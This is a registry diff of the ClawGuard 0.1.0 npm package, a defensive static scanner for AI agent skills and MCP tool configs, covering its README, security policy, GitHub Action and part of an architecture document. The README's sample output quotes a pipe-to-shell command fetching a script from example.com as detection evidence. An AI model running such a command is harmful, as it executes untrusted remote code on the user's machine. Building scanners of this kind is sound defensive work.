@denial-web/clawguard 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.clawguard.example.json +16 -0
- package/LICENSE +21 -0
- package/README.md +241 -0
- package/SECURITY.md +33 -0
- package/action.yml +72 -0
- package/docs/ARCHITECTURE.md +312 -0
- package/docs/ARCHITECTURE_ROADMAP.md +267 -0
- package/docs/CLAWHUB_METADATA.md +57 -0
- package/docs/DEMO_CAPTURE.md +25 -0
- package/docs/DEMO_SCRIPT.md +87 -0
- package/docs/DEPENDENCY_SCANNING.md +61 -0
- package/docs/GITHUB_ACTION.md +56 -0
- package/docs/GITHUB_REPO_SETUP.md +76 -0
- package/docs/HTML_REPORTS.md +27 -0
- package/docs/INTEGRATION_SPEC.md +253 -0
- package/docs/LAUNCH_CHECKLIST.md +64 -0
- package/docs/LAUNCH_PLAN.md +40 -0
- package/docs/LOCAL_PROJECT_ASSETS.md +250 -0
- package/docs/MCP_PLUGIN_SCANNING.md +53 -0
- package/docs/NEXT_SESSION.md +110 -0
- package/docs/NPM_PUBLISHING.md +66 -0
- package/docs/OPENCLAW_CLAWHUB_RESEARCH.md +128 -0
- package/docs/POLICY_MODEL.md +198 -0
- package/docs/PROJECT_REVIEW.md +108 -0
- package/docs/REAL_WORLD_VALIDATION.md +57 -0
- package/docs/RELEASE_NOTES_v0.1.0.md +52 -0
- package/docs/REPORT_SCHEMA.md +81 -0
- package/docs/RULES.md +92 -0
- package/docs/THREAT_MODEL.md +50 -0
- package/docs/WEB_DEMO.md +39 -0
- package/docs/WORKSPACE_SCANNING.md +41 -0
- package/examples/clawhub-origin-without-lock/skills/orphan-helper/.clawhub/origin.json +6 -0
- package/examples/clawhub-origin-without-lock/skills/orphan-helper/SKILL.md +11 -0
- package/examples/clawhub-workspace/.clawhub/lock.json +22 -0
- package/examples/clawhub-workspace/skills/drift-helper/.clawhub/origin.json +6 -0
- package/examples/clawhub-workspace/skills/drift-helper/SKILL.md +11 -0
- package/examples/clawhub-workspace/skills/missing-origin/SKILL.md +11 -0
- package/examples/clawhub-workspace/skills/weather-helper/.clawhub/origin.json +6 -0
- package/examples/clawhub-workspace/skills/weather-helper/SKILL.md +15 -0
- package/examples/declared-api-skill/SKILL.md +27 -0
- package/examples/dependency-python-skill/SKILL.md +16 -0
- package/examples/dependency-python-skill/pyproject.toml +5 -0
- package/examples/dependency-python-skill/requirements.txt +3 -0
- package/examples/dependency-risky-skill/SKILL.md +16 -0
- package/examples/dependency-risky-skill/package.json +12 -0
- package/examples/dependency-safe-skill/SKILL.md +16 -0
- package/examples/dependency-safe-skill/package-lock.json +19 -0
- package/examples/dependency-safe-skill/package.json +7 -0
- package/examples/metadata-mismatch-skill/SKILL.md +22 -0
- package/examples/openclaw-plugin-config/.openclaw/plugins.json +18 -0
- package/examples/openclaw-workspace/.agents/skills/research-helper/SKILL.md +11 -0
- package/examples/openclaw-workspace/skills/notes/SKILL.md +3 -0
- package/examples/openclaw-workspace/skills/research-helper/SKILL.md +17 -0
- package/examples/risky-mcp-config/.cursor/mcp.json +29 -0
- package/examples/risky-openclaw-plugin/openclaw.plugin.json +6 -0
- package/examples/risky-openclaw-plugin/package.json +7 -0
- package/examples/risky-openclaw-plugin/src/index.ts +1 -0
- package/examples/risky-skill/SKILL.md +17 -0
- package/examples/safe-mcp-config/.cursor/mcp.json +15 -0
- package/examples/safe-openclaw-plugin/dist/index.js +1 -0
- package/examples/safe-openclaw-plugin/openclaw.plugin.json +5 -0
- package/examples/safe-openclaw-plugin/package.json +14 -0
- package/examples/safe-skill/SKILL.md +12 -0
- package/package.json +49 -0
- package/schemas/clawguard-report.schema.json +266 -0
- package/scripts/capture-demo.js +206 -0
- package/src/clawhub.js +383 -0
- package/src/cli.js +296 -0
- package/src/config.js +205 -0
- package/src/dependencies.js +417 -0
- package/src/mcp-config.js +592 -0
- package/src/policy.js +165 -0
- package/src/reporters/html.js +482 -0
- package/src/reporters/sarif.js +121 -0
- package/src/rule-catalog.js +400 -0
- package/src/rules.js +121 -0
- package/src/scanner.js +387 -0
- package/src/skill-metadata.js +516 -0
- package/src/web-server.js +395 -0
- package/src/workspace.js +233 -0
- package/web/app.js +374 -0
- package/web/index.html +119 -0
- package/web/styles.css +453 -0
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"policy": "governed",
|
|
3
|
+
"failOn": "critical",
|
|
4
|
+
"failOnPolicy": true,
|
|
5
|
+
"policyFailOn": "manual_review",
|
|
6
|
+
"maxFileSizeBytes": "1mb",
|
|
7
|
+
"maxFindingsPerRulePerFile": 5,
|
|
8
|
+
"suppressions": [
|
|
9
|
+
{
|
|
10
|
+
"ruleId": "network-access",
|
|
11
|
+
"path": "skills/weather/SKILL.md",
|
|
12
|
+
"reason": "Weather skill must call the approved weather API.",
|
|
13
|
+
"expires": "2026-12-31"
|
|
14
|
+
}
|
|
15
|
+
]
|
|
16
|
+
}
|
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 ClawGuard contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,241 @@
|
|
|
1
|
+
# ClawGuard
|
|
2
|
+
|
|
3
|
+
Independent governance and security scanner for OpenClaw-style skills and MCP tool configs.
|
|
4
|
+
|
|
5
|
+
ClawGuard helps developers answer one simple question before enabling a skill:
|
|
6
|
+
|
|
7
|
+
> What could this skill do if I trusted it?
|
|
8
|
+
|
|
9
|
+
This project is compatible with OpenClaw-style skill directories, but it is not affiliated with OpenClaw.
|
|
10
|
+
|
|
11
|
+
## Demo Preview
|
|
12
|
+
|
|
13
|
+
[Watch the repeatable demo video](docs/assets/clawguard-demo.mp4), or regenerate it locally with `npm run demo:capture`.
|
|
14
|
+
|
|
15
|
+

|
|
16
|
+
|
|
17
|
+
ClawGuard can also export a self-contained report for reviews, pull requests, and security handoffs:
|
|
18
|
+
|
|
19
|
+

|
|
20
|
+
|
|
21
|
+
## What It Checks
|
|
22
|
+
|
|
23
|
+
- Remote code download or execution
|
|
24
|
+
- OpenClaw `SKILL.md` frontmatter and declared requirements
|
|
25
|
+
- Metadata mismatches such as undeclared env vars, binaries, config files, network access, or install steps
|
|
26
|
+
- ClawHub lockfile and origin metadata drift
|
|
27
|
+
- Dependency manifests and lockfiles for npm and Python skill bundles
|
|
28
|
+
- MCP/plugin config risk in `.cursor/mcp.json`, `.openclaw/mcp.json`, `.openclaw/plugins.json`, and `mcp.json`
|
|
29
|
+
- OpenClaw `openclaw.plugin.json` package manifests and runtime metadata
|
|
30
|
+
- Credential and secret references
|
|
31
|
+
- Destructive shell commands
|
|
32
|
+
- Prompt-injection style instructions
|
|
33
|
+
- Broad filesystem, shell, browser, email, calendar, Slack, or GitHub permissions
|
|
34
|
+
- External network access
|
|
35
|
+
|
|
36
|
+
## Quick Start
|
|
37
|
+
|
|
38
|
+
Run ClawGuard directly from npm:
|
|
39
|
+
|
|
40
|
+
```bash
|
|
41
|
+
npx @denial-web/clawguard scan ./path/to/skill
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
Or run the local checkout:
|
|
45
|
+
|
|
46
|
+
```bash
|
|
47
|
+
npm test
|
|
48
|
+
npm run scan -- examples/risky-skill
|
|
49
|
+
npm run scan -- examples/safe-skill
|
|
50
|
+
npm run scan -- examples/metadata-mismatch-skill
|
|
51
|
+
npm run scan -- examples/declared-api-skill
|
|
52
|
+
npm run scan -- examples/risky-mcp-config
|
|
53
|
+
npm run scan -- examples/safe-mcp-config
|
|
54
|
+
npm run scan -- examples/openclaw-workspace
|
|
55
|
+
npm run scan -- examples/clawhub-workspace
|
|
56
|
+
npm run scan -- examples/dependency-risky-skill
|
|
57
|
+
npm run scan -- examples/risky-openclaw-plugin
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
JSON output for automation:
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
npm run scan -- examples/risky-skill --json
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
Fail CI on a chosen risk level:
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
npm run scan -- examples/risky-skill --fail-on medium
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
Write SARIF for GitHub code scanning:
|
|
73
|
+
|
|
74
|
+
```bash
|
|
75
|
+
npm run scan -- examples/metadata-mismatch-skill --sarif clawguard.sarif
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
Write a human-readable HTML report:
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
npm run scan -- examples/metadata-mismatch-skill --html clawguard.html
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
Run the local web demo:
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
npm run web
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
If port `4173` is busy, use `npm run web -- --port 4174`.
|
|
91
|
+
|
|
92
|
+
Regenerate README/demo assets:
|
|
93
|
+
|
|
94
|
+
```bash
|
|
95
|
+
npm run demo:capture
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
## Web Demo
|
|
99
|
+
|
|
100
|
+
The fastest way to understand ClawGuard is the local web demo:
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
npm run web -- --port 4176
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
Open `http://127.0.0.1:4176`, then:
|
|
107
|
+
|
|
108
|
+
1. Click `Dependency Risk`.
|
|
109
|
+
2. Review the score, policy decision, required actions, and findings.
|
|
110
|
+
3. Click `Download HTML` to export a self-contained report.
|
|
111
|
+
|
|
112
|
+
The demo also supports pasted `SKILL.md` content and local skill folder scanning.
|
|
113
|
+
|
|
114
|
+
Skip unusually large files:
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
npm run scan -- ./skills/some-skill --max-file-size 512kb
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
## Configuration
|
|
121
|
+
|
|
122
|
+
ClawGuard automatically looks for `.clawguard.json` from the scan target upward. Start from [.clawguard.example.json](.clawguard.example.json).
|
|
123
|
+
|
|
124
|
+
```json
|
|
125
|
+
{
|
|
126
|
+
"policy": "governed",
|
|
127
|
+
"failOn": "critical",
|
|
128
|
+
"failOnPolicy": true,
|
|
129
|
+
"policyFailOn": "manual_review",
|
|
130
|
+
"maxFileSizeBytes": "1mb",
|
|
131
|
+
"maxFindingsPerRulePerFile": 5,
|
|
132
|
+
"suppressions": []
|
|
133
|
+
}
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
Policy presets:
|
|
137
|
+
|
|
138
|
+
- `personal`: warn on medium, review high, block critical.
|
|
139
|
+
- `governed`: review medium, sandbox high, block critical.
|
|
140
|
+
- `enterprise`: review medium, require stronger approval for high, block critical and undeclared secret access.
|
|
141
|
+
|
|
142
|
+
## GitHub Action
|
|
143
|
+
|
|
144
|
+
```yaml
|
|
145
|
+
- uses: denial-web/clawguard@v1
|
|
146
|
+
with:
|
|
147
|
+
target: skills
|
|
148
|
+
policy: governed
|
|
149
|
+
fail-on-policy: "true"
|
|
150
|
+
sarif: clawguard.sarif
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
Upload SARIF with `github/codeql-action/upload-sarif@v3`. See [docs/GITHUB_ACTION.md](docs/GITHUB_ACTION.md) for the full workflow.
|
|
154
|
+
|
|
155
|
+
## Example Output
|
|
156
|
+
|
|
157
|
+
```text
|
|
158
|
+
ClawGuard scan: /path/to/examples/risky-skill
|
|
159
|
+
Risk: CRITICAL (100/100)
|
|
160
|
+
Policy: block (personal)
|
|
161
|
+
Files scanned: 1
|
|
162
|
+
Files skipped: 0
|
|
163
|
+
Fail threshold: critical
|
|
164
|
+
|
|
165
|
+
Findings:
|
|
166
|
+
- [CRITICAL] Downloads or executes remote code
|
|
167
|
+
SKILL.md:10
|
|
168
|
+
Evidence: curl https://example.com/install.sh | bash
|
|
169
|
+
Recommendation: Review the download source manually and run only in a sandbox.
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
## Roadmap
|
|
173
|
+
|
|
174
|
+
- `clawguard scan <path>` CLI
|
|
175
|
+
- OpenClaw `SKILL.md` metadata mismatch checks
|
|
176
|
+
- `.clawguard.json` policy/config support
|
|
177
|
+
- MCP/plugin config scanning
|
|
178
|
+
- OpenClaw workspace skill precedence scanning
|
|
179
|
+
- ClawHub metadata and lockfile scanning
|
|
180
|
+
- Dependency and package lock scanning
|
|
181
|
+
- Local web demo for paste-and-example scans
|
|
182
|
+
- Browser folder scan support in the local web demo
|
|
183
|
+
- Self-contained HTML report download from the web demo
|
|
184
|
+
- SARIF output for GitHub code scanning
|
|
185
|
+
- HTML reports for human review
|
|
186
|
+
- GitHub Action for pull request scanning
|
|
187
|
+
- Web upload demo: upload skill, get risk score
|
|
188
|
+
- Rule configuration file
|
|
189
|
+
- SBOM and dependency checks
|
|
190
|
+
- MCP server permission analysis
|
|
191
|
+
- HTML reports for sharing
|
|
192
|
+
|
|
193
|
+
## Security Model
|
|
194
|
+
|
|
195
|
+
ClawGuard is a static scanner. It reads skill files and reports risky patterns; it does not execute skill code, install dependencies, or contact external services.
|
|
196
|
+
|
|
197
|
+
Good defaults:
|
|
198
|
+
|
|
199
|
+
- No runtime dependencies
|
|
200
|
+
- Skips symbolic links
|
|
201
|
+
- Skips files larger than 1 MB by default
|
|
202
|
+
- Supports JSON output for automation
|
|
203
|
+
- Uses explainable rules instead of hidden scoring
|
|
204
|
+
|
|
205
|
+
Limits:
|
|
206
|
+
|
|
207
|
+
- Static analysis can miss novel or heavily obfuscated attacks.
|
|
208
|
+
- Findings are risk signals, not proof of malicious intent.
|
|
209
|
+
- A clean result does not guarantee a skill is safe.
|
|
210
|
+
|
|
211
|
+
See [docs/THREAT_MODEL.md](docs/THREAT_MODEL.md) for the current threat model.
|
|
212
|
+
See [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) for the complete product and module architecture.
|
|
213
|
+
See [docs/OPENCLAW_CLAWHUB_RESEARCH.md](docs/OPENCLAW_CLAWHUB_RESEARCH.md) for the latest OpenClaw and ClawHub research notes.
|
|
214
|
+
See [docs/REAL_WORLD_VALIDATION.md](docs/REAL_WORLD_VALIDATION.md) for current compatibility validation against public ClawHub sources.
|
|
215
|
+
See [docs/INTEGRATION_SPEC.md](docs/INTEGRATION_SPEC.md) for OpenClaw, ClawHub, GitHub Action, web, and MCP integration plans.
|
|
216
|
+
See [docs/GITHUB_ACTION.md](docs/GITHUB_ACTION.md) for CI and SARIF setup.
|
|
217
|
+
See [docs/HTML_REPORTS.md](docs/HTML_REPORTS.md) for human-readable HTML reports.
|
|
218
|
+
See [docs/CLAWHUB_METADATA.md](docs/CLAWHUB_METADATA.md) for ClawHub lockfile and origin metadata scanning.
|
|
219
|
+
See [docs/NPM_PUBLISHING.md](docs/NPM_PUBLISHING.md) for npm trusted publishing setup.
|
|
220
|
+
See [docs/DEPENDENCY_SCANNING.md](docs/DEPENDENCY_SCANNING.md) for dependency manifest and lockfile scanning.
|
|
221
|
+
See [docs/WEB_DEMO.md](docs/WEB_DEMO.md) for the local web scanner.
|
|
222
|
+
See [docs/DEMO_CAPTURE.md](docs/DEMO_CAPTURE.md) for repeatable screenshot and video capture.
|
|
223
|
+
See [docs/DEMO_SCRIPT.md](docs/DEMO_SCRIPT.md) for the recommended demo walkthrough.
|
|
224
|
+
See [docs/LAUNCH_CHECKLIST.md](docs/LAUNCH_CHECKLIST.md) for the public launch checklist.
|
|
225
|
+
See [docs/GITHUB_REPO_SETUP.md](docs/GITHUB_REPO_SETUP.md) for repository description, topics, and launch settings.
|
|
226
|
+
See [docs/MCP_PLUGIN_SCANNING.md](docs/MCP_PLUGIN_SCANNING.md) for MCP and plugin config scanning.
|
|
227
|
+
See [docs/WORKSPACE_SCANNING.md](docs/WORKSPACE_SCANNING.md) for OpenClaw workspace precedence scanning.
|
|
228
|
+
See [docs/POLICY_MODEL.md](docs/POLICY_MODEL.md) for the risk and governance decision model.
|
|
229
|
+
See [docs/REPORT_SCHEMA.md](docs/REPORT_SCHEMA.md) for the versioned JSON output contract.
|
|
230
|
+
See [docs/RULES.md](docs/RULES.md) for stable rule IDs and suppression guidance.
|
|
231
|
+
See [docs/ARCHITECTURE_ROADMAP.md](docs/ARCHITECTURE_ROADMAP.md) for the build sequence.
|
|
232
|
+
See [docs/PROJECT_REVIEW.md](docs/PROJECT_REVIEW.md) for the current hardening and launch priorities.
|
|
233
|
+
See [docs/LOCAL_PROJECT_ASSETS.md](docs/LOCAL_PROJECT_ASSETS.md) for nearby local projects that can strengthen ClawGuard.
|
|
234
|
+
|
|
235
|
+
## Positioning
|
|
236
|
+
|
|
237
|
+
ClawGuard should be a companion project, not a fork or replacement. The goal is to make OpenClaw-style ecosystems safer by giving users a fast, explainable review before installing third-party skills.
|
|
238
|
+
|
|
239
|
+
## License
|
|
240
|
+
|
|
241
|
+
MIT
|
package/SECURITY.md
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# Security Policy
|
|
2
|
+
|
|
3
|
+
ClawGuard is a defensive scanner. Please report vulnerabilities privately before opening a public issue.
|
|
4
|
+
|
|
5
|
+
## Reporting
|
|
6
|
+
|
|
7
|
+
Open a private security advisory on GitHub, or contact the maintainer directly.
|
|
8
|
+
|
|
9
|
+
Please include:
|
|
10
|
+
|
|
11
|
+
- A short description of the issue
|
|
12
|
+
- Reproduction steps
|
|
13
|
+
- Expected impact
|
|
14
|
+
- Any sample skill or config needed to reproduce the issue
|
|
15
|
+
|
|
16
|
+
## Scope
|
|
17
|
+
|
|
18
|
+
In scope:
|
|
19
|
+
|
|
20
|
+
- Scanner bypasses that miss clearly dangerous skill behavior
|
|
21
|
+
- False negatives for credential theft, destructive shell commands, or remote execution
|
|
22
|
+
- Crashes caused by malformed skill files
|
|
23
|
+
- Incorrect JSON output that could break CI usage
|
|
24
|
+
|
|
25
|
+
Out of scope:
|
|
26
|
+
|
|
27
|
+
- Requests to scan private third-party repositories without permission
|
|
28
|
+
- Social engineering against maintainers or contributors
|
|
29
|
+
- Vulnerabilities in external package managers, AI models, or OpenClaw itself
|
|
30
|
+
|
|
31
|
+
## Disclosure
|
|
32
|
+
|
|
33
|
+
The goal is coordinated disclosure with a fix or documented mitigation before public discussion.
|
package/action.yml
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
name: ClawGuard
|
|
2
|
+
description: Scan OpenClaw-style skills and MCP configs for security and governance risk.
|
|
3
|
+
|
|
4
|
+
inputs:
|
|
5
|
+
target:
|
|
6
|
+
description: Path to scan.
|
|
7
|
+
required: false
|
|
8
|
+
default: "."
|
|
9
|
+
policy:
|
|
10
|
+
description: Policy preset to apply.
|
|
11
|
+
required: false
|
|
12
|
+
default: governed
|
|
13
|
+
fail-on:
|
|
14
|
+
description: Risk level that should fail the workflow.
|
|
15
|
+
required: false
|
|
16
|
+
default: critical
|
|
17
|
+
fail-on-policy:
|
|
18
|
+
description: Whether policy decisions should fail the workflow.
|
|
19
|
+
required: false
|
|
20
|
+
default: "true"
|
|
21
|
+
policy-fail-on:
|
|
22
|
+
description: Policy decision threshold that should fail the workflow.
|
|
23
|
+
required: false
|
|
24
|
+
default: manual_review
|
|
25
|
+
config:
|
|
26
|
+
description: Optional .clawguard.json path.
|
|
27
|
+
required: false
|
|
28
|
+
default: ""
|
|
29
|
+
sarif:
|
|
30
|
+
description: Optional SARIF output path.
|
|
31
|
+
required: false
|
|
32
|
+
default: clawguard.sarif
|
|
33
|
+
|
|
34
|
+
runs:
|
|
35
|
+
using: composite
|
|
36
|
+
steps:
|
|
37
|
+
- uses: actions/setup-node@v4
|
|
38
|
+
with:
|
|
39
|
+
node-version: 20
|
|
40
|
+
|
|
41
|
+
- name: Run ClawGuard
|
|
42
|
+
shell: bash
|
|
43
|
+
env:
|
|
44
|
+
INPUT_TARGET: ${{ inputs.target }}
|
|
45
|
+
INPUT_POLICY: ${{ inputs.policy }}
|
|
46
|
+
INPUT_FAIL_ON: ${{ inputs.fail-on }}
|
|
47
|
+
INPUT_FAIL_ON_POLICY: ${{ inputs.fail-on-policy }}
|
|
48
|
+
INPUT_POLICY_FAIL_ON: ${{ inputs.policy-fail-on }}
|
|
49
|
+
INPUT_CONFIG: ${{ inputs.config }}
|
|
50
|
+
INPUT_SARIF: ${{ inputs.sarif }}
|
|
51
|
+
run: |
|
|
52
|
+
args=(
|
|
53
|
+
scan
|
|
54
|
+
"$INPUT_TARGET"
|
|
55
|
+
--policy "$INPUT_POLICY"
|
|
56
|
+
--fail-on "$INPUT_FAIL_ON"
|
|
57
|
+
--policy-fail-on "$INPUT_POLICY_FAIL_ON"
|
|
58
|
+
)
|
|
59
|
+
|
|
60
|
+
if [ "$INPUT_FAIL_ON_POLICY" = "true" ]; then
|
|
61
|
+
args+=(--fail-on-policy)
|
|
62
|
+
fi
|
|
63
|
+
|
|
64
|
+
if [ -n "$INPUT_CONFIG" ]; then
|
|
65
|
+
args+=(--config "$INPUT_CONFIG")
|
|
66
|
+
fi
|
|
67
|
+
|
|
68
|
+
if [ -n "$INPUT_SARIF" ]; then
|
|
69
|
+
args+=(--sarif "$INPUT_SARIF")
|
|
70
|
+
fi
|
|
71
|
+
|
|
72
|
+
node "$GITHUB_ACTION_PATH/src/cli.js" "${args[@]}"
|
|
@@ -0,0 +1,312 @@
|
|
|
1
|
+
# ClawGuard Architecture
|
|
2
|
+
|
|
3
|
+
ClawGuard is an independent static governance layer for OpenClaw-style skills, ClawHub packages, and MCP/tool configs. It should stay compatible with OpenClaw without pretending to be OpenClaw.
|
|
4
|
+
|
|
5
|
+
## Mission
|
|
6
|
+
|
|
7
|
+
ClawGuard answers one question before a user trusts a skill or plugin:
|
|
8
|
+
|
|
9
|
+
> What can this thing influence, access, install, or exfiltrate?
|
|
10
|
+
|
|
11
|
+
The product should be small, explainable, and useful in three moments:
|
|
12
|
+
|
|
13
|
+
- Before installing a skill or plugin.
|
|
14
|
+
- After installing into an OpenClaw workspace.
|
|
15
|
+
- During pull requests and publishing workflows.
|
|
16
|
+
|
|
17
|
+
## Product Surfaces
|
|
18
|
+
|
|
19
|
+
1. CLI
|
|
20
|
+
|
|
21
|
+
Current surface: `clawguard scan <path>`.
|
|
22
|
+
|
|
23
|
+
Target surface:
|
|
24
|
+
|
|
25
|
+
- `clawguard scan <path>`
|
|
26
|
+
- `clawguard scan-skill <skill-dir>`
|
|
27
|
+
- `clawguard scan-workspace <workspace-dir>`
|
|
28
|
+
- `clawguard scan-mcp <config-path>`
|
|
29
|
+
- `clawguard explain <finding-id>`
|
|
30
|
+
- `clawguard policy check <report.json>`
|
|
31
|
+
|
|
32
|
+
2. Core library
|
|
33
|
+
|
|
34
|
+
A dependency-free or low-dependency JavaScript API that other surfaces call. The CLI, GitHub Action, web demo, and MCP server should all use the same core scanner.
|
|
35
|
+
|
|
36
|
+
3. GitHub Action
|
|
37
|
+
|
|
38
|
+
Pull request gate for skill repos, OpenClaw companion repos, and enterprise skill catalogs. It should output CLI text, JSON artifact, and SARIF.
|
|
39
|
+
|
|
40
|
+
4. Web demo
|
|
41
|
+
|
|
42
|
+
Public demo: upload or paste `SKILL.md`, optionally upload a folder, then get a risk score with evidence and recommended action.
|
|
43
|
+
|
|
44
|
+
5. MCP server
|
|
45
|
+
|
|
46
|
+
Optional later surface exposing tools like `scan_skill`, `scan_mcp_config`, `explain_finding`, and `policy_decision`.
|
|
47
|
+
|
|
48
|
+
6. Install gate
|
|
49
|
+
|
|
50
|
+
Optional wrapper or integration pattern around OpenClaw/ClawHub install/update flows. It should scan a downloaded bundle before the user enables it.
|
|
51
|
+
|
|
52
|
+
## Trust Boundaries
|
|
53
|
+
|
|
54
|
+
ClawGuard must treat every scanned file as hostile input.
|
|
55
|
+
|
|
56
|
+
Security invariants:
|
|
57
|
+
|
|
58
|
+
- Never execute scanned files.
|
|
59
|
+
- Never install dependencies from scanned files.
|
|
60
|
+
- Do not fetch remote code by default.
|
|
61
|
+
- Do not follow symbolic links by default.
|
|
62
|
+
- Enforce size and file count limits.
|
|
63
|
+
- Keep evidence short and bounded.
|
|
64
|
+
- Do not print full secrets.
|
|
65
|
+
- Keep rules deterministic and explainable.
|
|
66
|
+
- Fail closed in CI when configured by policy.
|
|
67
|
+
|
|
68
|
+
## High-Level Flow
|
|
69
|
+
|
|
70
|
+
```mermaid
|
|
71
|
+
flowchart TD
|
|
72
|
+
A["Skill folder, workspace, ClawHub metadata, or MCP config"] --> B["Target discovery"]
|
|
73
|
+
B --> C["File safety filters"]
|
|
74
|
+
C --> D["Parsers and normalizers"]
|
|
75
|
+
D --> E["Rule engine"]
|
|
76
|
+
E --> F["Risk scoring"]
|
|
77
|
+
F --> G["Policy engine"]
|
|
78
|
+
G --> H["Reporters"]
|
|
79
|
+
H --> I["CLI text"]
|
|
80
|
+
H --> J["JSON"]
|
|
81
|
+
H --> K["SARIF"]
|
|
82
|
+
H --> L["HTML"]
|
|
83
|
+
H --> M["JSONL audit"]
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
## Core Modules
|
|
87
|
+
|
|
88
|
+
Current code can evolve into these modules without a rewrite:
|
|
89
|
+
|
|
90
|
+
- `src/cli.js`: command parsing and terminal output.
|
|
91
|
+
- `src/scanner.js`: orchestration, target walking, file safety limits, and scan result construction.
|
|
92
|
+
- `src/rules.js`: initial static rule pack.
|
|
93
|
+
|
|
94
|
+
Target architecture:
|
|
95
|
+
|
|
96
|
+
- `src/core/scan.js`: main scanner orchestration.
|
|
97
|
+
- `src/core/types.js`: shared contracts for targets, findings, scores, policies, and reports.
|
|
98
|
+
- `src/fs/discovery.js`: safe traversal, symlink behavior, max file size, ignore rules.
|
|
99
|
+
- `src/parsers/skill.js`: `SKILL.md` detection, frontmatter extraction, metadata normalization.
|
|
100
|
+
- `src/parsers/package.js`: `package.json`, script, dependency, and lifecycle analysis.
|
|
101
|
+
- `src/parsers/mcp.js`: MCP and plugin config parsing.
|
|
102
|
+
- `src/parsers/clawhub.js`: ClawHub origin, lockfile, and package metadata parsing.
|
|
103
|
+
- `src/rules/*.js`: rule packs by domain.
|
|
104
|
+
- `src/risk/scoring.js`: severity weights, confidence, caps, and summary.
|
|
105
|
+
- `src/policy/engine.js`: decisions such as allow, warn, manual review, sandbox required, and block.
|
|
106
|
+
- `src/reporters/*.js`: human, JSON, SARIF, HTML, and JSONL output.
|
|
107
|
+
- `src/integrations/*`: GitHub Action, OpenClaw/ClawHub wrappers, MCP server, web demo adapter.
|
|
108
|
+
|
|
109
|
+
## Data Contracts
|
|
110
|
+
|
|
111
|
+
Scan target:
|
|
112
|
+
|
|
113
|
+
```js
|
|
114
|
+
{
|
|
115
|
+
kind: "skill" | "workspace" | "mcp-config" | "clawhub-package" | "directory" | "file",
|
|
116
|
+
path: "/absolute/path",
|
|
117
|
+
source: "local" | "clawhub" | "github" | "upload",
|
|
118
|
+
metadata: {}
|
|
119
|
+
}
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
Finding:
|
|
123
|
+
|
|
124
|
+
```js
|
|
125
|
+
{
|
|
126
|
+
id: "credential-access",
|
|
127
|
+
title: "References credentials or environment secrets",
|
|
128
|
+
severity: "high",
|
|
129
|
+
confidence: "medium",
|
|
130
|
+
category: "secret-access",
|
|
131
|
+
file: "SKILL.md",
|
|
132
|
+
line: 14,
|
|
133
|
+
evidence: "process.env.TODOIST_API_KEY",
|
|
134
|
+
recommendation: "Declare required env vars and verify least privilege.",
|
|
135
|
+
tags: ["openclaw", "frontmatter-mismatch"]
|
|
136
|
+
}
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
Risk score:
|
|
140
|
+
|
|
141
|
+
```js
|
|
142
|
+
{
|
|
143
|
+
score: 72,
|
|
144
|
+
level: "critical",
|
|
145
|
+
findingCounts: { low: 0, medium: 1, high: 2, critical: 1 },
|
|
146
|
+
reasons: ["remote-code-execution", "undeclared-env-access"]
|
|
147
|
+
}
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
Policy decision:
|
|
151
|
+
|
|
152
|
+
```js
|
|
153
|
+
{
|
|
154
|
+
decision: "block",
|
|
155
|
+
preset: "enterprise",
|
|
156
|
+
reason: "Critical finding and undeclared network/system access.",
|
|
157
|
